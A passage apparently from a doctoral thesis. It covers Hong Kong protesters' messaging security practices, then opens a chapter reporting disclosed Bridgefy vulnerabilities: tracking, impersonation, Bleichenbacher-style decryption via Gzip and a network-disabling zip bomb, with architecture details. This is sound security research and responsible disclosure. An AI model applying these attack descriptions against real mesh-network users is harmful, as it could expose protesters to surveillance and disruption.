here by one participant: “there was a time when I was at [location] because of the protests and couldn’t
connect to a network for some reason and couldn’t connect via Telegram or WhatsApp. So, we could only
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connect with the outside via SMS. Paid messages” (P2).

Finally, most participants had heard about the mesh networking application Bridgefy (see Chapter 4),
which according to news reports saw a spike in downloads in Hong Kong in September 2019. However,
none had successfully used it, reporting that “it just doesn’t work” (P7).

These alternative approaches of connectingwhen the Internet is not available speaks to the disconnected
needs of Anti-ELAB protesters. While Hong Kong authorities did not resort to shutting down
the Internet, protesters experienced significant disruptions to their digital communications. These
disruptions, which are a feature of the protests’ large-scale nature, render the technologies that
protesters rely upon largely futile at the height of the protest: “A million people just makes it impossible
to communicate” (P9).

3.4.5 Routes of security perceptions

We explore where Anti-ELAB protesters’ notions and ideas about security and their own security
needs have come from. In doing so, we first show how previous protest experience shapes protesters’
practice of security and how the adoption of messaging applications is a result of a change in the
security mindset among protesters. Second, we show how protesters with no or limited protest
experience adopt the technologies and practices employed by more experienced protesters. It is worth
noting, however, that our data reveals that participants with only secondary experience of the protests
assumed greater adoption of applications such as Bridgefy and Signal than what was exemplified by
participants with primary protest experience. This is not surprising given how (inter)national media
outlets have reported on some of these technologies [Koe19]. Yet, it is important to distinguish
between actual and perceived adoption and requirements, and it points to the urgent need for secure
technology designers to engage with the groups of users they seek to serve, as also noted in [AGRS15].

A shift in the security mindset. Our data suggests a change in the protesters’ security mindset
during the Anti-ELAB protests, with most participants highlighting a growing need for anonymity,
due to the heightened surveillance, and confidentiality, in relation to trusted and close-knit small
groups. All but one participant with primary protest experience had also taken part in previous
protests in Hong Kong and had experience of using technology within such protest environments.
These participants compared their experiences in the current protests with those of the 2014 Umbrella
Movement, where “you basically had no access to the Internet as there was so much traffic and the network
was super slow” (P3) and “most was organised over Facebook” (P2). In addition to changes to technology,
several participants highlighted how the protest environment had become increasingly adversarial: “In
the 2014 movement, things happened muchmore slowly [. . . ] There was no conflict most of the time. But this
is very different now” (P9). Many participants noted that this had led to a shift in the security mindset
among protesters. While “before June last year [2019], people would be gathering on Facebook” (P6), “just
talk about about sensitive information on Facebook’s messenger” (P10) and “not think about end-to-end
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encryption” (P2), this had changed with what they described as an increase in police surveillance and
arrests. This shift in the mindset had led to a greater adoption of Telegram.

Collective information security. For Anti-ELAB protesters, as articulated by the participants in our
study, information security is a collective endeavour. It is practised by individual protesters, who have
their own security perceptions and needs, yet these are shaped by the security decisions of the group.
At a high level, this is not surprising given the centrality of groups in these protests, the practice of
voting on strategies and tactics, and the fact that not everyone holds the same security knowledge. It
does, however, speak to how security is practised within groups.

It also demonstrates that, to be a group member, protesters have to buy into the security collectively
decided for the group. One participant explained how they had tried to convince members of their
group to switch to Signal after they had realised that “people in other countries use Signal” (P2). Yet,
this had been unsuccessful as other group members preferred to keep the group on WhatsApp, as
they were already familiar with this application and its (perceived) security. This led to them having
to compromise their own security needs to be a group member. One participant said that they had
changed their practices to be in line with other group members: “I only started to use Telegram during
these protests. I didn’t use it before. I heard that Telegram is used by terrorists, because it is so secure. And
it is used by my groups” (P1). This participant accepted that they “had to conform to be in the group”.
Participants explained how they had observed others “change their security mindset” to buy into the
security of their group (P3).

Our data also contains several examples of how participants were either unsure about the level of
protection offered by some of the technologies they used or knew that a particular application was not
“the most secure” (P10). For example, one participant explained how they had accepted that they could
not “do everything to protect” themselves (P9). This was reiterated by another participant: “I do not
know if Telegram or WhatsApp are safe to use or whether the Chinese government can listen in, but I use
them because others use them” (P7). Moreover, some participants had accepted that their security needs
would not be met by the technologies they used but that they offered “good enough” security (P0).

Participants with less protest experience or who did not perceive themselves to be security conscious
noted how they relied on other protesters for advice. At the group level, the security approaches and
technologies adopted by one group would often be adopted by another group. This is evident from
comments made by participants about how they would look to more established groups for security
advice. Our observations about onboarding practices and live location monitoring also exemplify
this point. First, onboarding processes adopted by groups were generally performed in similar ways.
Second, live location monitoring was practised by all groups that included participants with primary
protest experience. These subtly different approaches centred on only a few technological solutions
and established practices.
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In this section, we reflect back our findings to information security scholarship, with a focus on
cryptography.

3.5.1 Secure messaging

Telegram. The participants in our study reported Telegram as the predominant messaging application
used by Anti-ELAB protesters. This finding is corroborated by media reports, e.g. [Ban19], and
corroborates prior work that established the use of Telegram by activists [EHM17]. However,
Telegram had received relatively little attention from the cryptographic community [JO16, Kob18] or
information security research [ASKP+17, ACG17, SK17]. As noted in [Kob18], academic attention is
focused on the Signal Protocol partly due to its strong security promises such as forward secrecy and
post-compromise security. Indeed, even when Telegram is studied, its end-to-end encryption in secret
chats is the focus, see [JO16, Kob18]. This feature, however, has little impact on the actual security
provided by Telegram in the use case considered here, since secret chats are one-on-one only. Group
chats are secured at the transport layer by Telegram’s bespoke but understudied MTProto protocol,
which Telegram typically uses in place of TLS.9 Telegram also implements a variety of features
meant to support anonymity within groups, often in response to user demand [Tel19, Tel20d], which
have not been rigorously examined. Our work suggests the study of MTProto and the anonymity
guarantees of Telegram’s group chats as pressing problems for future work. In Chapters 5 and 6, we
tackle a part of this problem space.

Messaging Layer Security (MLS). Our findings support the decision by the MLS working group to
support groups of up to 50,000 users [STK+18]. On the other hand, our findings indicate diverging
security goals for different types of groups, roughly characterised by their size, in the setting under
consideration: anonymity of group members towards each other but no confidentiality in large
groups forming one type, and another one being confidentiality and authentication in small, close-knit
groups. Our data presents a use case where a hierarchy of permissions in groups is central and
where out-of-band authentication of group members may be assumed, weakening the need to trust
the Authentication Service as defined in [STK+18]. MLS does not model group permissions at a
cryptographic level but aims to be compatible with this use case when such restrictions are externally
enforced. It is worth noting that MLS supports multiple devices per user, while our data presents
the practice of multiple users sharing the same account. It is plausible, though, that this conceptual
difference does not make a difference in practice on the MLS level.

9In [EHM17] it is incorrectly reported that group chats default to TLS.
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3.5.2 Security notions

Compromise. In the literature, the notion of forward secrecy (FS) [Gün90, Kra05] is understood
as the protection of past messages in the event of a later compromise of an involved party and the
notion of post-compromise security (PCS) [CCG16, CHK19] as the protection of future messages some
time after a (usually full state) compromise. Both of these security notions work with a persistent,
global adversary of some form. Post-compromise security protects against an (ordinarily at some
point passive) adversary after a compromise. Forward secrecy protects against an adversary that either
passively observed the communication (weak FS) or even actively attacked it before the compromise.10

The compromise the participants in our study were most concerned about was during and after
an arrest. Here, they were concerned with both forward secrecy (remote message deletion) and
post-compromise security (excluding an arrestee from a group). However, their notions differed from
those in the literature. First, a cryptographic scheme achieving forward secrecy would not achieve the
notion of forward secrecy desired by the participants in our study as messages remained stored on the
recipient’s device.11 That is, our participants assumed and aimed to protect against a compromise that
reveals not only key material but also the entire chat history (stored on the phone). Second, a security
goal of the participants in our study was to protect themselves during the compromise, not just
afterwards. As indicated in our research findings, there is a variety of behaviours attempting to detect
and control compromise as it happens, including location monitoring, timed messages, revocation of
administrator capabilities and message deletion for others, all done on behalf of the compromised
person by the remaining group members (we discuss the resilience of these methods in Section 3.5.3).
Critically, their notion of post-compromise security was at the group level (removing the compromised
party) rather than at the individual level (restoring security for the compromised party).12

Overall, the adversary model of the participants in our study is both stronger (the adversary also
compromises the chat history; protection against the adversary during the compromise is intended)
and weaker (the compromise is detectable) than those in the literature, i.e. the resulting security
notions are incomparable.

Time and place. Implicit in our data is that security and access requirements change with time and
place. Group members away from the front line are assumed to be relatively safe, compared to those
on the front line facing immediate arrest. This suggests a partial solution for forward secrecy. Group
membership could be restricted while out in the field – e.g. messages disappear faster, no access to the
list of group members, only pseudonymous handles, no admin rights – with full access being restored

10Social dimensions of targeted attacks (active) and mass surveillance (passive) are discussed in e.g. [GKVH16, JS17,
Kam20].

11Disappearing messages only provide a partial solution, leaving messages received within the expiration window exposed.
12It is worth noting that the grounding of authentication in offline interactions and the assumed detectability of a

compromise provides a mechanism to achieve some form of post-compromise security in the more traditional sense in an
out-of-band way, possibly at the cost of replacing a burner phone and/or a chat group.
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using a secret-shared key afterwards.13 More broadly, it suggests modelling the dynamic nature of
access privileges over time and place.

Anonymity and authentication. The use of forums such as LIHKG and large public Telegram
groups, combined with the desire to avoid being tracked, suggests a need for a different kind of
communication platform. If infiltration is assumed, the focus shifts from protecting confidentiality
to protecting identity. As our data shows, this focus on anonymity surfaces the question of how to
establish trust. A number of proposals exist in the literature: Dissent [CF10] claims a “collective”
approach to anonymous group messaging with accountability, Riposte [CBM15] aims to provide a
secure whistleblowing or microblogging platform that resists disruption and AnonRep [ZWC+16]
presents an anonymous reputation system for message boards. The systems vary in cryptographic
assumptions, threat models as well as ability to scale, but none of them provide real-time messaging
and are hence only suitable for public forums that are not time-sensitive. None of the cited works
have moved beyond the prototype stage, and many open research questions remain in the area.

Closely related is the study of reputation systems, whether centralised [BJK15, GQ19] or decen-
tralised [PRT04, ABH18], originally motivated by the information leakage in services such as eBay
or Uber which utilise public user ratings. It is not immediately clear how such a system could be
translated to the setting of user trustworthiness in anonymous messaging, but the emergence of
crowdsourced services such as the voluntary car scheme reveals potentially more straightforward
applications. Yet, the context in which reputation systems are reasoned about is largely limited to
marketplaces and cryptocurrencies. Moreover, given the strong emphasis on collective or group
action indicated by our data, it is an interesting open question where (if anywhere) group [Cv91] or
ring [RST01] signatures, the primitives often underlying reputation schemes, may productively be
deployed. However, the high level of mutual trust required to operate in small affinity groups and the
practice of sharing account credentials might make the functionalities of these primitives unnecessary.

Trusted third parties. Our data indicates that the Anti-ELAB protests rely heavily on trusted third
parties. This is true in a technological sense, e.g. group chats are not end-to-end encrypted and
facilitated by Telegram’s servers, which are protected by geopolitics, i.e. the limited reach of the
current adversary. This observation corroborates prior work on activists [EHM17].

While this technological reliance might be an artefact of necessity – viable alternatives are absent –
our data also shows that trusted third parties, in the form of anonymous group administrators, are a
central feature of these “decentralised” and “leaderless” protests. The work of Azer et al. [AHZ19]
highlights the significance of what they call “connective leadership” in digitally enabled and self-
organised contemporary activism. Echoing this work, our findings illustrate how even “leaderless”
protests require leaders to connect protesters and protest groups. In the Anti-ELAB protests, due to

13This would partially mirror the practice adopted by some business travellers who move their data across borders online
to avoid confiscation at the border, the latter being a use case used to motivate PCS in [CHK19].
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their highly digitalised nature and experiences from the 2014 protests, group administrators act as
connective leaders. This makes understanding their information security practices and needs a critical
area of research for information security researchers, as the compromise of one of these administrators
can have significant consequences, see e.g. [The19]. This is particularly pertinent as large-scale protests
around the globe adopt the strategies developed in these protests – their dynamic, mobile, digital and
flat structure. On a technological level, recalling that the administration duties are often split between
different individuals, and that the most prevalent form of compromise – arrest – may be detectable,
MPC solutions, even in the efficient non-malicious setting, might suggest themselves.

3.5.3 Misconceptions

The participants in our study made security decisions based on specific functionality needs and
explicitly formulated domain-specific security perceptions. However, our data reveals several mistakes
in their perceptions of the security guarantees of the tools they relied on. Participants assumed
that end-to-end encryption could be enabled in Telegram group chats, which is incorrect. The
data also highlights that the ability to delete messages on other users’ devices and to remove them
from a group after an arrest drove the adoption of messaging platforms. Yet, these tactics assume
that the compromised device continues to receive and process deletion requests; the more this
tactic catches on and thus registers with the adversary, the more dubious this assumption becomes.
Such misconceptions are not unique to our study. For example, several studies on usability, e.g.
[IRC15, VWF+18], highlight user misconceptions and false mental models in relation to security.
Other studies, e.g. [ASB+17, DNDS19], also suggest that users find it difficult to understand the
security of the applications they rely on and whether it fulfils their needs. For higher-risk users
such misconceptions can have dire consequences for their safety, especially since the misconceptions
identified in our study tended to overestimate the security guarantees given. Critically, however, our
data highlights the negotiated and collective nature of adoption in this setting, in contrast to individual
preferences foregrounded in previous work.

3.5.4 Collective security

Our findings speak to an understanding of information security that rests on collective practices,
where security for the group is negotiated between group members and where individual security
notions are shaped by those of the group. They show how Anti-ELAB protesters practised security to
fulfil their own security needs as well as those of the group. Where these were in conflict, our findings
suggest that protesters accepted the security approaches collectively decided for the group. Group
membership was conditioned on realising specific security goals related to the Anti-ELAB context –
anonymity in large public groups and confidentiality and authentication in small close-knit groups.
Practices such as collective decision making to provide “security in numbers” and tactical “buy in”
from group members substantiate the notion that, for the participants in our study, information
security is a collective endeavour.
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The idea of collectivity in information security is not novel, yet, research on group-level information
security is sparse – and is largely limited to work on employee groups [JDGHW19, AH09] and
socialising contexts [WMIKD20]. Moreover, usable security scholarship generally considers security
at an individual level, as do user studies on messaging applications, see e.g. [ASKP+17, ASB+17,
DNDS19, SHWR16, VWO+17, VWO+18]. While, collectively, these studies highlight a series of
usability shortcomings of messaging applications, they do not consider the social environment within
which these are used, nor do they consider collective security practices which dominated our study.
They generally treat such shortcomings as technological problems and/or incomplete mental models
among individual users, rather than also considering how users’ wider social context and collective,
negotiated practices shape their use of these technologies and how (in)secure they feel in doing so.

Our findings demonstrate that the particularities of this adversarial context, the Anti-ELAB protests,
shaped the participants’ collective security needs and responses. The participants explained how
social relations and trust were established at the protest sites rather than online and how this shaped
their security practices, such as onboarding of new group members. In contrast to most usable
security assumptions, our data shows that protesters go to great lengths to fulfil their security needs,
conditioned on their adversarial setting and their group membership, but that such needs are not
fulfilled by the technologies they rely on.

As we show in Section 3.2.3, other interview-based works on higher-risk users also emphasise the
significance of the social context for the practice of information security. In bringing our findings into
conversation with these studies, we note some high-level connections. For example, the participants
in our study reported employing both technical and non-technical protection strategies, which has
also been noted in recent studies on, e.g., journalists’ use of security technology and related defensive
practices [MCHR15] and political activists’ “low tech” protection mechanisms in the context of
the Sudanese Revolution [DSKB21]. Yet, while studies on other groups of higher-risk users, such
as refugees and migrants, identify several cultural, social, economic and technological barriers that
lead to unfulfilled security needs [GMS+18, SLI+18], for the participants in our study, such barriers
predominantly related to misconceptions about the security offered by the technology they relied on,
the appropriation of insecure technology and their highly adversarial setting.

While it is possible to make some high-level connections between our findings and the existing
studies, the diversity of security concerns experienced by distinct groups and within specific contexts
requires grounded and situated research that is sensitive to this diversity. Moreover, our study, clearly
illustrating how security is practised collectively among Anti-ELAB protesters, shows the critical
need to situate technological security questions within the specific social contexts of groups, who
share particular security goals. Thus, to understand collective security concerns and needs, future
research should consider employing an ethnographic approach to “unearth what the group (under
study) takes for granted” [Her00, p.551].
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3.6 Conclusion

We conclude by summarising our key findings and by synthesising, with caution, requirements for
(secure) messaging applications to serve the needs of protesters. Our interviews paint a diversified
picture of group communication patterns, security needs and practices and they show how these are
facilitated by a select few messaging applications and digital platforms.

Protesters rely heavily on Telegram and WhatsApp for their communication. Our findings illustrate
how central these tools are for organising on the ground by enabling a collective approach to estab-
lishing tactics. These decisions were made in groups of varying size and the administrators of these
groups adopted the roles of leaders in these “leaderless” and “decentralised” protests. Overall, we
found that these protests were organised in a mix of large public and small close-knit groups, with
differing security requirements: anonymity within the group, on the one hand, and confidentiality
and authentication, on the other. To bridge the conflicting requirements of anonymity and trust,
participants reported a long, offline onboarding process before adding new members to a group.

The participants in our study developed tactics to detect compromise and to achieve some form of
forward secrecy. Group members monitored the movements of fellow group members to eliminate
traces of the group chat from their phone in case of an arrest and to render legal aid. This explains the
importance attributed to the ability to remotely delete messages on other people’s devices. Participants
adopted a variety of practices to address the (perceived) shortcomings of digital communications and
conflicting security needs. For example, to facilitate pseudonymity, compartmentalisation through
the use of multiple devices and burner phones was widespread. Participants also reported how security
decisions were collective, requiring group members to buy into the security practices of their group.

For designers, several requirements on (secure) messaging applications emerge from our data: support
for both (small) private and (large) public groups, the avoidance of phone numbers or other personally
identifiable information and the ability of administrators to control messages and participation in
groups. In addition, going beyond strictly messaging, several features such as polls and live location
sharing emerged as key enablers for participants. Participants also expressed a strong desire to be able
to have control over their messages after sending them, such as on-demand remote message deletion.

However, we caution against taking this list of requirements as a blueprint. First, our data only covers
interviews with 11 participants. Second, these feature requests are informed by what existing technolo-
gies provide and thus do not necessarily represent the horizon of what is possible or desirable. Third,
as we discuss above, the security guarantees provided by some of the employed tactics, particularly
remote message deletion, are limited. Fourth, our data presents information security as a negotiated,
conflict-laden and changing practice, suggesting that a universal solution may not exist.
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The road to hell is paved with good intentions.

— proverb of unknown origin

CHAPTER 4

Breaking Bridgefy
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Mesh messaging applications allow users in relative proximity to communicate without the Internet. The
most viable offering in this space, Bridgefy, had seen increased uptake in areas experiencing large-scale
protests. In this chapter, we show that Bridgefy permitted its users to be tracked, offered no authenticity, no
effective confidentiality protections and lacked resilience against adversarially crafted messages. We verified
these vulnerabilities by demonstrating a series of practical attacks on Bridgefy. Thus, if protesters relied on
Bridgefy, an adversary could produce social graphs about them, read their messages, impersonate anyone to
anyone and shut down the entire network with a single maliciously crafted message.
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4.1 Motivation

Mesh messaging applications rely on wireless technologies such as Bluetooth Low Energy (BLE) to
create communication networks that do not require Internet connectivity. These can be useful in
scenarios where the cellular network may simply be overloaded, e.g. during mass gatherings, or when
governments impose restrictions on Internet usage, up to a full blackout, to suppress civil unrest.
While the functionality requirements of such networks may be the same in both of these scenarios –
delivering messages from A to B – the security requirements for their users change dramatically.

In September 2019, Forbes reported “Hong Kong Protestors Using Mesh Messaging App China Can’t
Block: Usage Up 3685%” [Koe19] in reference to an increase in downloads of a mesh messaging
application, Bridgefy [Bri20a], in Hong Kong. Bridgefy is both an application and a platform for
developers to create their own mesh network applications.1 It uses BLE or Bluetooth Classic and is
designed for use cases such as “music festivals, sports stadiums, rural communities, natural disasters,
traveling abroad”, as given by its Google Play store description [Bri20d]. Other use cases mentioned
on its webpage are ad distribution (including “before/during/after natural disasters” to “capitalize on
those markets before anybody else” [Bri20a]) and turn-based games. The Bridgefy application had
crossed 1.7 million downloads as of August 2020 [Sch20].

Though it was advertised as “safe” [Bri20d] and “private” [Bri20c] and its creators claimed it was
secured by end-to-end encryption [Koe19, Ng19, Tek20], none of the aforementioned use cases can
be considered as taking place in adversarial environments such as situations of civil unrest where
attempts to subvert the application’s security are not merely possible, but to be expected, and where
such attacks can have harsh consequences for its users. Despite this, the Bridgefy developers advertised
the application for such scenarios [Koe19, Twi19a, Twi20c, Twi20d] and media reports suggest the
application is relied upon.

Hong Kong. International news reports of Bridgefy being used in the Anti-Extradition Law Amend-
ment Bill protests in Hong Kong began around September 2019 [Sil19, Wak19, Koe19, Bre19], re-
porting a spike in downloads that was attributed to slow mobile Internet speeds caused by mass
gatherings of protesters [Cor19]. Around the same time, Bridgefy’s CEO reported more than 60,000
installations of the application in a period of seven days, mostly from Hong Kong [Sil19]. However, a
Hong Kong based report available in English [Bor19] gave a mixed evaluation of these claims: in the
midst of a demonstration, not many protesters appeared to be using Bridgefy. The same report also
attributes the spike in Bridgefy downloads to a DDoS attack against other popular communication
means used in these protests: Telegram and the Reddit-like forum LIHKG. The results of Chapter 3
indicate that the media coverage with respect to the Hong Kong protests may have overestimated
actual usage, though this was not known at the time our analysis of Bridgefy was performed.

1As we discuss in Section 4.2.3, alternatives to Bridgefy are scarce, making it the predominant example of such an
application/framework.
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India. The next reports centred on the Citizenship Amendment Act protests in India [Bha19] that
occurred in December 2019. There, the rise in downloads was attributed to an Internet shutdown
occurring during the same period [Mih19, Sof20]. It appears that the media narrative about Bridgefy’s
use in Hong Kong might have had an effect: “So, Mascarenhas and 15 organisers of the street
protest decided to take a leaf out of the Hong Kong protesters’ book and downloaded the Bridgefy
app” [Pur19]. The Bridgefy developers reported continued adoption in summer 2020 [Twi20e].

Iran. While press reports from Iran remain scarce, there is evidence to suggest that some people
are trying to use Bridgefy during Internet shutdowns and restrictions: the rise of customer support
queries coming from Iran and a claim by the Bridgefy CEO that it is being distributed via USB
devices [Moh20].

Lebanon. Bridgefy now appears among recommended applications to use during an Internet shutdown,
e.g. in the list compiled by a Lebanese NGO during the October 2019 Lebanon protests [SME19]. A
media report suggests adoption [Tek20].

US. The Bridgefy developers reported uptake of Bridgefy during the Black Lives Matter protests
across the US [Twi20f, Twi20d]. It is promoted for use in these protests by the developers and others
on social media [The20, Twi20d, Twi20a].

Zimbabwe. Media and social media reports advertised Bridgefy as a tool to counter a government-
mandated Internet shutdown [Mud20, Mag20] in summer 2020. The Bridgefy developers reported an
uptick in adoption [Twi20g].

Belarus. Social media posts and the Bridgefy developers suggest adoption in light of a government-
mandated Internet shutdown [Twi20h].

Thailand. Social media posts encouraged student protesters to install the Bridgefy application during
August 2020 [Twi20b].

Contributions. We reverse engineered Bridgefy’s messaging platform, giving an overview in Sec-
tion 4.3, and in Section 4.4 report several vulnerabilities voiding both the security claims made by
the Bridgefy developers and the security goals arising from its use in large-scale protests. In par-
ticular, we describe various avenues for tracking users of the Bridgefy application and for building
social graphs of their interactions both in real time and after the fact. We then use the fact that
Bridgefy implemented no effective authentication mechanism between users (nor a state machine) to
impersonate arbitrary users. This attack is easily extended to an attacker-in-the-middle (MitM) attack
for subverting public-key encryption. We also present variants of Bleichenbacher’s attack [Ble98]
which break confidentiality using ≈ 217 chosen ciphertexts. Our variants exploit the composition
of PKCS#1 v1.5 encryption and Gzip compression in Bridgefy. Moreover, we utilise compression
to undermine the advertised resilience of Bridgefy: using a single message “zip bomb” we could
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completely disable the mesh network, since clients would forward any payload before parsing it which
then caused them to hang until a reinstallation of the application.

Responsible disclosure. We disclosed the vulnerabilities described in this chapter to the Bridgefy
developers on 27 April 2020 and they acknowledged receipt on the same day. We agreed on a public
disclosure date of 24 August 2020. Starting from 1 June 2020, the Bridgefy team began informing
their users that they should not expect confidentiality guarantees from the current version of the
application [Twi20i]. On 8 July 2020, the developers informed us that they were implementing a
switch to the Signal protocol to provide cryptographic assurances in their SDK. On 24 August 2020,
we published an abridged2 version of this chapter in conjunction with a media article [Goo20]. The
Bridgefy team published a statement on the same day [Bri20b]. On 30 October 2020, an update
finalising the switch to Signal was released [Bri20e], which was meant to mitigate against our attacks.
Recent work [AEP22] investigated these changes and found that Bridgefy was still susceptible to
attacks, which we elaborate on in Section 4.5.1.

4.2 Related work

4.2.1 Mesh networking security

Wireless mesh networks have a long history, but until recently they have been developed mainly in the
context of improving or expanding Wi-Fi connectivity via various ad-hoc routing protocols, where
the mesh usually does not include client devices. Flood-based networks, in which a node forwards
packets to every other node it is connected to, began using Bluetooth and started gaining traction
with the introduction of BLE, which optimises for low power and low cost, and which has been part
of the core specification [Blu19a] since Bluetooth 4.0. BLE hardware is integrated in all current major
smartphone brands, and the specification has native support in all common operating systems.

Previous work on the security analysis of Bluetooth focused on finding vulnerabilities in the pairing
process or showing the inadequacy of its security modes, some of which have been fixed in later
versions of the specification (see [Dun10, HBHA18] for surveys of attacks focusing on the classic
version of Bluetooth). As a more recent addition, BLE has not received as much comprehensive
analysis, but general as well as IoT-focused attacks exist [Rya13, Jas16, UMF16, SB19]. Research
on BLE-based tracking has looked into the usage of unique identifiers by applications and IoT de-
vices [ZWLZ19, BLS19]. The literature on security in the context of BLE-based mesh networks is
scarce, though the Bluetooth Mesh Profile [SIG19] developed by the Bluetooth SIG is now beginning
to be studied [AFM18, ÁAHH19].

2We had omitted details of the Bridgefy architecture, as the attacks had not been mitigated at that point in time.
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4.2.2 Compression in security

The first compression side channels in the context of encryption were described by [Kel02], based
on the observation that the compression rate can reveal information about the plaintext. Since
then, there have been practical attacks exploiting the compression rate “leakage” in TLS and HTTP,
dubbed CRIME [DR12] and BREACH [GHP13], which enabled the recovery of HTTP cookies and
contents, respectively. Similarly, [GGK+16] uses Gzip as a format oracle in a CCA attack. Beyond
cryptography, compression has also been utilised for denial of service attacks in the form of so-called
“zip bombs” [Fif19], where an attacker-made compressed payload decompresses to a massive message.

4.2.3 Alternative mesh applications

We list various alternative applications that target scenarios where Internet connectivity is lacking, in
particular paying attention to their potential use for messaging in a protest setting.

FireChat. FireChat [Ope19] was a mobile application for secure wireless mesh networking meant
for communication without an Internet connection. Though it was not built for protests, it became
the tool of choice in various demonstrations since 2014, e.g. in Iraq, Hong Kong and Taiwan [BBC14,
Bla14, JH14], and since then was also promoted as such by the creators of the application. However, it
had not received any updates in 2019 and as of April 2020, it is no longer available on the Google Play
store and its webpage has been removed, so it appears that its development has been discontinued.

BLE Mesh Networking. Bluetooth itself provides a specification for building mesh networks based
on Bluetooth Low Energy that is referred to as the Bluetooth Mesh Profile [SIG19]. While it defines
a robust model for implementing a flood-based network for up to 32,000 participating nodes, its focus
is not on messaging but rather connectivity of low-power IoT devices within smart homes or smart
cities. As a result, it is more suitable for networks that are managed centrally and whose topology
is stable over time, which is the opposite of the unpredictable and always-changing flow of a crowd
during a mass protest. Further, it makes heavy use of the advertising bearer (a feature not widely
available in smartphones), which imposes constraints on the bandwidth of the network – messages
can have a maximum size of 384 bytes, and nodes are advised to not transmit more than 100 messages
in any 10 second window. The profile makes use of cryptography for securing the network from
outside observers as well as from outside interference, but it does expect participating nodes to be
benign, which cannot be assumed in the messaging setting. From within the network, a malicious
node can not only observe but also impersonate other nodes and deny them service.

HypeLabs. The Hype SDK offered by HypeLabs [Hyp20] sets out a similar goal as Bridgefy, which is
to offer secure mesh networks for a variety of purposes when there is no Internet connection. Besides
Bluetooth, it also utilises Wi-Fi, and supports a variety of platforms. Among its use cases, the Hype
SDK whitepaper [Hyp19] lists connectivity between IoT devices, social networking and messaging,
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distributed storage as well as connectivity during catastrophes and emergency broadcasting. While an
example chat application is available on Google Play (with only 100+ downloads), HypeLabs does
not offer the end-user solutions themselves, merely offering the SDK as a paid product for developers.
There is no information available on what applications are using the SDK, if any.

Briar. Briar [RSG+18] describes itself as “secure messaging, anywhere” [RSG+18] and is referenced
in online discussions on the use of mesh networking applications in protests [New19]. However,
Briar does not realise a mesh network. Instead it opens point-to-point sockets to nearby nodes over
Bluetooth Classic (as opposed to Low Energy) or Wi-Fi. Its reach is thus limited to one hop unless
users manually forward messages.

Serval. Serval Mesh [GS17] is an Android application implementing a mesh network using Wi-Fi
that sets its goal as enabling communication in places which lack infrastructure. Originally developed
for natural disasters, the project includes special hardware Mesh Extenders that are supposed to
enhance coverage. While the application is available for download, it cannot be accessed from Google
Play because it targets an old version of Android to allow it to run on older devices such as the ones
primarily used in rural communities. As of January 2021, work on the project was ongoing and it was
not ready for deployment at scale. Hence its utility in large-scale protests where access to technology
itself is not a barrier would be limited.

Subnodes. The use of additional hardware devices enables a different approach to maintaining
connectivity, which is taken by the open source project Subnodes [Sub18]. It allows local area wireless
networks to be set up on a Raspberry Pi, which then acts as a web server that can provide e.g. a chat
room. Multiple devices can be connected in a mesh using the BATMAN routing protocol [Ope20],
which is meant for dynamic and unreliable networks. However, setting up and operating such a
network requires technical knowledge. In the setting of a protest, even carrying the hardware device
for one of the network’s access points could put the operator at risk.

4.3 The Bridgefy architecture

In this section, we give an overview of the Bridgefy messaging architecture. The key feature of Bridgefy
is that it exchanges data using Bluetooth when an Internet connection is not available.

We analysed the Bridgefy apk version 2.1.28 dated January 2020 and available in the Google Play
store. It includes the Bridgefy SDK version 1.0.6. In what follows, when we write “Bridgefy” we
mean this apk and SDK versions, unless explicitly stated otherwise. As stated above, the Bridgefy
developers released an update of both their apk and their SDK in response to a preliminary version of
this chapter and our analysis does not apply as is to these updated versions (see Section 4.5).
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Since the Bridgefy source code was not available, we decompiled the apk to (obfuscated) Java classes
using Jadx [Sky19]. The initial deobfuscation was done automatically by Jadx, with the remain-
ing classes and methods being done by hand using artefacts left in the code and by inspecting the
application’s execution.

This inspection was performed using Frida, a dynamic instrumentation toolkit [Fri20], which allows
for scripts to be injected into running processes, essentially treating them as black boxes but enabling
a variety of operations on them. In the context of Android applications written in Java, these include
tracing class instances and hooking specific functions to monitor their inputs/outputs or to modify
their behaviour during runtime.

We assume a single Bridgefy client installed on a single device for each user since Bridgefy does not
have multi-device support. We will refer to “clients” when discussing protocol-related aspects and to
“devices” in the Bluetooth context.

Message types. Bridgefy can send the following kinds of messages:

• One-to-one messages between two clients

– sent over the Internet if both clients are online,

– sent directly via Bluetooth if the devices are in physical range, or

– sent over the Bluetooth mesh network, and

• Bluetooth broadcast messages that any client can read in a special “Broadcast mode” room.

Note that the Bluetooth messages are handled separately from the ones exchanged over the Internet
using the Bridgefy server, i.e. there is no support for communication between one user who is on the
Internet and one who is on the mesh network.

4.3.1 Primitives

To encapsulate Bluetooth messages and metadata, Bridgefy uses MessagePack [Fur08], a binary
serialisation format that is more compact than and advertised as an alternative to JSON. It is then
compressed using Gzip [IET96b], which we introduce below. The standard implementation found in
the java.util.zip library is used in the application. For encryption, Bridgefy uses the (now deprecated)
PKCS#1 v1.5 [IET98] standard, described in Section 2.4.1.

Gzip compression. Gzip [IET96b] is a data compression utility which deploys the widely-used
DEFLATE compressed data format [IET96a]. A Gzip file begins with a 10-byte header, which consists
of a fixed prefix 0x1f8b08 followed by a flags byte and six additional bytes which are usually set to
0x00. Depending on which flags are set, optional fields such as a comment field are placed between
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the header and the actual DEFLATE payload. A trailer at the end of the Gzip file consists of two
4-byte fields: a CRC32 and the length, both over the uncompressed data.

Encryption scheme. In more detail, one-to-one Bluetooth (mesh and direct) messages in Bridgefy,
represented as MessagePacks, are first compressed using Gzip and then encrypted using RSA with
PKCS#1 v1.5 padding. The key size is 2048 bits and the input is split into blocks of size up to 245
bytes and encrypted one-by-one in an ECB-like fashion using Java SE’s “RSA/ECB/PKCS1Padding”,
producing output blocks of size 256 bytes. Decryption errors do not produce a user or network
visible direct error message.

4.3.2 Bluetooth messages

Bridgefy supports connections over both BLE and Bluetooth Classic, but the latter is a legacy option
for devices without BLE support, so we focus on BLE. How the Generic Attribute Profile (GATT)
protocol is configured is not relevant for our analysis, so we only consider message processing starting
from and up to characteristic read and write requests. BLE packet data is received as an array of bytes,
which is parsed according to the MessagePack format and processed further based on message type.
At the topmost level, all messages are represented as a BleEntity which has a given entity type et.
Table 4.1 matches the entity type to the type of its content ct and the class that implements it. Details
of all classes representing messages can be found in Figs. B.1 to B.4 in Appendix B.1.

Table 4.1. Entity types.

BleEntity types
et content class for ct

0 handshake BleHandshake
1 direct message BleEntityContent
3 mesh message ForwardTransaction

AppEntity types
et content extending class

0 encrypted handshake AppEntityHandShake
1 any message AppEntityMessage
4 receipt AppEntitySignal

